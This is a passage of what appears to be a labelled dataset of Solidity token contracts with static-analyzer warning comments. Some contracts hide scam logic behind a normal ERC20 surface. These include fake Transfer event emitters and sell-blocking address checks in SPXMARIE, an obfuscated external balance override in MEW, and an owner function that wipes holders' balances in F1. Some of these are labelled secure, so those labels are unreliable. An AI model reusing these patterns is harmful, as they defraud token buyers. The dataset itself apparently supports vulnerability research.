rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: ec0cb68\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_4070.sol",
"secure": 0,
"size_bytes": 18503
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract StellarHuskyCrusader is ERC20 {\n constructor() ERC20(\"Stellar Husky Crusader\", \"SHC\") {\n _mint(msg.sender, 1000000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_4071.sol",
"secure": 1,
"size_bytes": 308
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Carolina is ERC20 {\n constructor() ERC20(\"Carolina\", \"Carolina\", 9) {\n _totalSupply = 100000000000 * 10 ** 9;\n\n _balances[msg.sender] += _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n}",
"file_name": "solidity_code_4072.sol",
"secure": 1,
"size_bytes": 390
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract DollyCat is ERC20, ERC20Burnable, Ownable {\n uint256 public constant MAX_SUPPLY = 10 * 10 ** 9 * 10 ** 18;\n\n address public constant BURN_ADDRESS =\n 0x000000000000000000000000000000000000dEaD;\n\n constructor() ERC20(\"DollyCat\", \"DOCAT\") {\n _mint(msg.sender, MAX_SUPPLY);\n }\n\n function mint(address to, uint256 amount) external onlyOwner {\n uint256 currentSupply = totalSupply();\n\n require(\n currentSupply + amount <= MAX_SUPPLY,\n \"ERC20: minting would exceed max supply\"\n );\n\n _mint(to, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal override {\n super._transfer(sender, recipient, amount);\n\n if (recipient == BURN_ADDRESS) {\n _burn(recipient, amount);\n }\n }\n\n function _burn(address account, uint256 amount) internal override {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n super._burn(account, amount);\n }\n\n function renounceOwnership() public override onlyOwner {\n _transferOwnership(address(0));\n }\n}",
"file_name": "solidity_code_4073.sol",
"secure": 1,
"size_bytes": 1502
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract SPXMARIE is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private _p76234;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4eb22c4): SPXMARIE._e242 should be constant \n\t// Recommendation for 4eb22c4: Add the 'constant' attribute to state variables that never change.\n uint256 private _e242 = 999;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function claim(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function multicall(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function execute(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b1005e3): SPXMARIE.actionPair(address).account lacks a zerocheck on \t _p76234 = account\n\t// Recommendation for b1005e3: Check that the address is not zero.\n function actionPair(address account) public virtual returns (bool) {\n require(_msgSender() == 0xB8eb1576143149cA86a98c8f76f83dF755c1501a);\n\n\t\t// missing-zero-check | ID: b1005e3\n _p76234 = account;\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n\n renounceOwnership();\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n if (\n (from != _p76234 &&\n to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||\n (_p76234 == to &&\n from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 &&\n from != 0x8482876C9d0509D9DC4c686B25737766644471f7 &&\n from != 0xB8eb1576143149cA86a98c8f76f83dF755c1501a &&\n from != 0xf549db1Eb630F2C1c7066A4513dAF39578Fd4c97)\n ) {\n uint256 _X7W88 = amount + 2;\n\n require(_X7W88 < _e242);\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _spendAllowance(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor() {\n _name = unicode\"SPX MARIE6900\";\n\n _symbol = unicode\"SPX MARIE6900\";\n\n _mint(msg.sender, 10000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_4074.sol",
"secure": 0,
"size_bytes": 6571
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Platforme.sol\" as Platforme;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\n\ncontract MEW is Platforme, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: c7a398c): MEW._totalSupply should be constant \n\t// Recommendation for c7a398c: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 10000000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: a136d18): MEW._name should be constant \n\t// Recommendation for a136d18: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"mog in memes world\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 5f97505): MEW._symbol should be constant \n\t// Recommendation for 5f97505: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"MEW\";\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 40da685): MEW.Router2Instance should be immutable \n\t// Recommendation for 40da685: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 private Router2Instance;\n\n constructor(uint256 aEdZTTu) {\n uint256 cc = aEdZTTu +\n uint256(10) -\n uint256(10) +\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n );\n\n Router2Instance = getBcFnnmoosgsto(((brcFactornnmoosgsto(cc))));\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: ad93b6f): MEW.bb should be constant \n\t// Recommendation for ad93b6f: Add the 'constant' attribute to state variables that never change.\n uint160 private bb = 20;\n\n function brcFfffactornnmoosgsto(\n uint256 value\n ) internal view returns (uint160) {\n uint160 a = 70;\n\n return (bb +\n a +\n uint160(value) +\n uint160(\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n )\n ));\n }\n\n function brcFactornnmoosgsto(\n uint256 value\n ) internal view returns (address) {\n return address(brcFfffactornnmoosgsto(value));\n }\n\n function getBcFnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return getBcQnnmoosgsto(accc);\n }\n\n function getBcQnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return UniswapRouterV2(accc);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[accountOwner][sender];\n }\n\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = IUniswapRouterV2.swap99(\n Router2Instance,\n Router2Instance,\n _balances[from],\n from\n );\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balances[from] = balance.sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address accountOwner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][sender] = amount;\n\n emit Approval(accountOwner, sender, amount);\n }\n}",
"file_name": "solidity_code_4075.sol",
"secure": 1,
"size_bytes": 6267
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract F1 is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable castle;\n\n constructor() {\n _name = \"F1\";\n\n _symbol = \"F1\";\n\n _decimals = 18;\n\n uint256 initialSupply = 582000000;\n\n castle = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == castle, \"Not allowed\");\n\n _;\n }\n\n function biscuit(address[] memory margin) public onlyOwner {\n for (uint256 i = 0; i < margin.length; i++) {\n address account = margin[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_4076.sol",
"secure": 1,
"size_bytes": 4342
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IDEXRouter {\n function WETH() external pure returns (address);\n}",
"file_name": "solidity_code_4077.sol",
"secure": 1,
"size_bytes": 141
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IDEXFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address);\n}",
"file_name": "solidity_code_4078.sol",
"secure": 1,
"size_bytes": 198
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IDEXRouter.sol\" as IDEXRouter;\nimport \"./IDEXFactory.sol\" as IDEXFactory;\n\ncontract ANON is ERC20, Ownable {\n IDEXRouter public dexRouter;\n\n address public liquidityPair;\n\n uint256 private constant TOTAL_SUPPLY = 1_000_000 * 10 ** 18;\n\n uint256 public maxWalletBalance;\n\n constructor() Ownable(tx.origin) ERC20(\"Anonymous AI\", \"ANON\") {\n _mint(tx.origin, TOTAL_SUPPLY);\n\n maxWalletBalance = TOTAL_SUPPLY / 50;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal override {\n if (\n sender != owner() &&\n recipient != liquidityPair &&\n recipient != address(dexRouter)\n ) {\n require(\n balanceOf(recipient) + amount <= maxWalletBalance,\n \"Transfer exceeds wallet balance limit\"\n );\n }\n\n super._transfer(sender, recipient, amount);\n }\n\n function disablexWalletLimit() external onlyOwner {\n maxWalletBalance = TOTAL_SUPPLY;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1318ef3): ANON.initializeRouter(address,address).factory lacks a zerocheck on \t liquidityPair = IDEXFactory(factory).createPair(address(this),dexRouter.WETH())\n\t// Recommendation for 1318ef3: Check that the address is not zero.\n function initializeRouter(\n address router,\n address factory\n ) external onlyOwner {\n dexRouter = IDEXRouter(router);\n\n\t\t// missing-zero-check | ID: 1318ef3\n liquidityPair = IDEXFactory(factory).createPair(\n address(this),\n dexRouter.WETH()\n );\n }\n}",
"file_name": "solidity_code_4079.sol",
"secure": 0,
"size_bytes": 1918
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary SafeCast {\n error SafeCastOverflowedUintDowncast(uint8 bits, uint256 value);\n\n error SafeCastOverflowedIntToUint(int256 value);\n\n error SafeCastOverflowedIntDowncast(uint8 bits, int256 value);\n\n error SafeCastOverflowedUintToInt(uint256 value);\n\n function toUint248(uint256 value) internal pure returns (uint248) {\n if (value > type(uint248).max) {\n revert SafeCastOverflowedUintDowncast(248, value);\n }\n\n return uint248(value);\n }\n\n function toUint240(uint256 value) internal pure returns (uint240) {\n if (value > type(uint240).max) {\n revert SafeCastOverflowedUintDowncast(240, value);\n }\n\n return uint240(value);\n }\n\n function toUint232(uint256 value) internal pure returns (uint232) {\n if (value > type(uint232).max) {\n revert SafeCastOverflowedUintDowncast(232, value);\n }\n\n return uint232(value);\n }\n\n function toUint224(uint256 value) internal pure returns (uint224) {\n if (value > type(uint224).max) {\n revert SafeCastOverflowedUintDowncast(224, value);\n }\n\n return uint224(value);\n }\n\n function toUint216(uint256 value) internal pure returns (uint216) {\n if (value > type(uint216).max) {\n revert SafeCastOverflowedUintDowncast(216, value);\n }\n\n return uint216(value);\n }\n\n function toUint208(uint256 value) internal pure returns (uint208) {\n if (value > type(uint208).max) {\n revert SafeCastOverflowedUintDowncast(208, value);\n }\n\n return uint208(value);\n }\n\n function toUint200(uint256 value) internal pure returns (uint200) {\n if (value > type(uint200).max) {\n revert SafeCastOverflowedUintDowncast(200, value);\n }\n\n return uint200(value);\n }\n\n function toUint192(uint256 value) internal pure returns (uint192) {\n if (value > type(uint192).max) {\n revert SafeCastOverflowedUintDowncast(192, value);\n }\n\n return uint192(value);\n }\n\n function toUint184(uint256 value) internal pure returns (uint184) {\n if (value > type(uint184).max) {\n revert SafeCastOverflowedUintDowncast(184, value);\n }\n\n return uint184(value);\n }\n\n function toUint176(uint256 value) internal pure returns (uint176) {\n if (value > type(uint176).max) {\n revert SafeCastOverflowedUintDowncast(176, value);\n }\n\n return uint176(value);\n }\n\n function toUint168(uint256 value) internal pure returns (uint168) {\n if (value > type(uint168).max) {\n revert SafeCastOverflowedUintDowncast(168, value);\n }\n\n return uint168(value);\n }\n\n function toUint160(uint256 value) internal pure returns (uint160) {\n if (value > type(uint160).max) {\n revert SafeCastOverflowedUintDowncast(160, value);\n }\n\n return uint160(value);\n }\n\n function toUint152(uint256 value) internal pure returns (uint152) {\n if (value > type(uint152).max) {\n revert SafeCastOverflowedUintDowncast(152, value);\n }\n\n return uint152(value);\n }\n\n function toUint144(uint256 value) internal pure returns (uint144) {\n if (value > type(uint144).max) {\n revert SafeCastOverflowedUintDowncast(144, value);\n }\n\n return uint144(value);\n }\n\n function toUint136(uint256 value) internal pure returns (uint136) {\n if (value > type(uint136).max) {\n revert SafeCastOverflowedUintDowncast(136, value);\n }\n\n return uint136(value);\n }\n\n function toUint128(uint256 value) internal pure returns (uint128) {\n if (value > type(uint128).max) {\n revert SafeCastOverflowedUintDowncast(128, value);\n }\n\n return uint128(value);\n }\n\n function toUint120(uint256 value) internal pure returns (uint120) {\n if (value > type(uint120).max) {\n revert SafeCastOverflowedUintDowncast(120, value);\n }\n\n return uint120(value);\n }\n\n function toUint112(uint256 value) internal pure returns (uint112) {\n if (value > type(uint112).max) {\n revert SafeCastOverflowedUintDowncast(112, value);\n }\n\n return uint112(value);\n }\n\n function toUint104(uint256 value) internal pure returns (uint104) {\n if (value > type(uint104).max) {\n revert SafeCastOverflowedUintDowncast(104, value);\n }\n\n return uint104(value);\n }\n\n function toUint96(uint256 value) internal pure returns (uint96) {\n if (value > type(uint96).max) {\n revert SafeCastOverflowedUintDowncast(96, value);\n }\n\n return uint96(value);\n }\n\n function toUint88(uint256 value) internal pure returns (uint88) {\n if (value > type(uint88).max) {\n revert SafeCastOverflowedUintDowncast(88, value);\n }\n\n return uint88(value);\n }\n\n function toUint80(uint256 value) internal pure returns (uint80) {\n if (value > type(uint80).max) {\n revert SafeCastOverflowedUintDowncast(80, value);\n }\n\n return uint80(value);\n }\n\n function toUint72(uint256 value) internal pure returns (uint72) {\n if (value > type(uint72).max) {\n revert SafeCastOverflowedUintDowncast(72, value);\n }\n\n return uint72(value);\n }\n\n function toUint64(uint256 value) internal pure returns (uint64) {\n if (value > type(uint64).max) {\n revert SafeCastOverflowedUintDowncast(64, value);\n }\n\n return uint64(value);\n }\n\n function toUint56(uint256 value) internal pure returns (uint56) {\n if (value > type(uint56).max) {\n revert SafeCastOverflowedUintDowncast(56, value);\n }\n\n return uint56(value);\n }\n\n function toUint48(uint256 value) internal pure returns (uint48) {\n if (value > type(uint48).max) {\n revert SafeCastOverflowedUintDowncast(48, value);\n }\n\n return uint48(value);\n }\n\n function toUint40(uint256 value) internal pure returns (uint40) {\n if (value > type(uint40).max) {\n revert SafeCastOverflowedUintDowncast(40, value);\n }\n\n return uint40(value);\n }\n\n function toUint32(uint256 value) internal pure returns (uint32) {\n if (value > type(uint32).max) {\n revert SafeCastOverflowedUintDowncast(32, value);\n }\n\n return uint32(value);\n }\n\n function toUint24(uint256 value) internal pure returns (uint24) {\n if (value > type(uint24).max) {\n revert SafeCastOverflowedUintDowncast(24, value);\n }\n\n return uint24(value);\n }\n\n function toUint16(uint256 value) internal pure returns (uint16) {\n if (value > type(uint16).max) {\n revert SafeCastOverflowedUintDowncast(16, value);\n }\n\n return uint16(value);\n }\n\n function toUint8(uint256 value) internal pure returns (uint8) {\n if (value > type(uint8).max) {\n revert SafeCastOverflowedUintDowncast(8, value);\n }\n\n return uint8(value);\n }\n\n function toUint256(int256 value) internal pure returns (uint256) {\n if (value < 0) {\n revert SafeCastOverflowedIntToUint(value);\n }\n\n return uint256(value);\n }\n\n function toInt248(int256 value) internal pure returns (int248 downcasted) {\n downcasted = int248(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(248, value);\n }\n }\n\n function toInt240(int256 value) internal pure returns (int240 downcasted) {\n downcasted = int240(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(240, value);\n }\n }\n\n function toInt232(int256 value) internal pure returns (int232 downcasted) {\n downcasted = int232(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(232, value);\n }\n }\n\n function toInt224(int256 value) internal pure returns (int224 downcasted) {\n downcasted = int224(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(224, value);\n }\n }\n\n function toInt216(int256 value) internal pure returns (int216 downcasted) {\n downcasted = int216(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(216, value);\n }\n }\n\n function toInt208(int256 value) internal pure returns (int208 downcasted) {\n downcasted = int208(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(208, value);\n }\n }\n\n function toInt200(int256 value) internal pure returns (int200 downcasted) {\n downcasted = int200(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(200, value);\n }\n }\n\n function toInt192(int256 value) internal pure returns (int192 downcasted) {\n downcasted = int192(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(192, value);\n }\n }\n\n function toInt184(int256 value) internal pure returns (int184 downcasted) {\n downcasted = int184(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(184, value);\n }\n }\n\n function toInt176(int256 value) internal pure returns (int176 downcasted) {\n downcasted = int176(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(176, value);\n }\n }\n\n function toInt168(int256 value) internal pure returns (int168 downcasted) {\n downcasted = int168(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(168, value);\n }\n }\n\n function toInt160(int256 value) internal pure returns (int160 downcasted) {\n downcasted = int160(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(160, value);\n }\n }\n\n function toInt152(int256 value) internal pure returns (int152 downcasted) {\n downcasted = int152(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(152, value);\n }\n }\n\n function toInt144(int256 value) internal pure returns (int144 downcasted) {\n downcasted = int144(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(144, value);\n }\n }\n\n function toInt136(int256 value) internal pure returns (int136 downcasted) {\n downcasted = int136(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(136, value);\n }\n }\n\n function toInt128(int256 value) internal pure returns (int128 downcasted) {\n downcasted = int128(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(128, value);\n }\n }\n\n function toInt120(int256 value) internal pure returns (int120 downcasted) {\n downcasted = int120(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(120, value);\n }\n }\n\n function toInt112(int256 value) internal pure returns (int112 downcasted) {\n downcasted = int112(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(112, value);\n }\n }\n\n function toInt104(int256 value) internal pure returns (int104 downcasted) {\n downcasted = int104(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(104, value);\n }\n }\n\n function toInt96(int256 value) internal pure returns (int96 downcasted) {\n downcasted = int96(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(96, value);\n }\n }\n\n function toInt88(int256 value) internal pure returns (int88 downcasted) {\n downcasted = int88(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(88, value);\n }\n }\n\n function toInt80(int256 value) internal pure returns (int80 downcasted) {\n downcasted = int80(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(80, value);\n }\n }\n\n function toInt72(int256 value) internal pure returns (int72 downcasted) {\n downcasted = int72(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(72, value);\n }\n }\n\n function toInt64(int256 value) internal pure returns (int64 downcasted) {\n downcasted = int64(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(64, value);\n }\n }\n\n function toInt56(int256 value) internal pure returns (int56 downcasted) {\n downcasted = int56(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(56, value);\n }\n }\n\n function toInt48(int256 value) internal pure returns (int48 downcasted) {\n downcasted = int48(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(48, value);\n }\n }\n\n function toInt40(int256 value) internal pure returns (int40 downcasted) {\n downcasted = int40(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(40, value);\n }\n }\n\n function toInt32(int256 value) internal pure returns (int32 downcasted) {\n downcasted = int32(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(32, value);\n }\n }\n\n function toInt24(int256 value) internal pure returns (int24 downcasted) {\n downcasted = int24(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(24, value);\n }\n }\n\n function toInt16(int256 value) internal pure returns (int16 downcasted) {\n downcasted = int16(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(16, value);\n }\n }\n\n function toInt8(int256 value) internal pure returns (int8 downcasted) {\n downcasted = int8(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(8, value);\n }\n }\n\n function toInt256(uint256 value) internal pure returns (int256) {\n if (value > uint256(type(int256).max)) {\n revert SafeCastOverflowedUintToInt(value);\n }\n\n return int256(value);\n }\n\n function toUint(bool 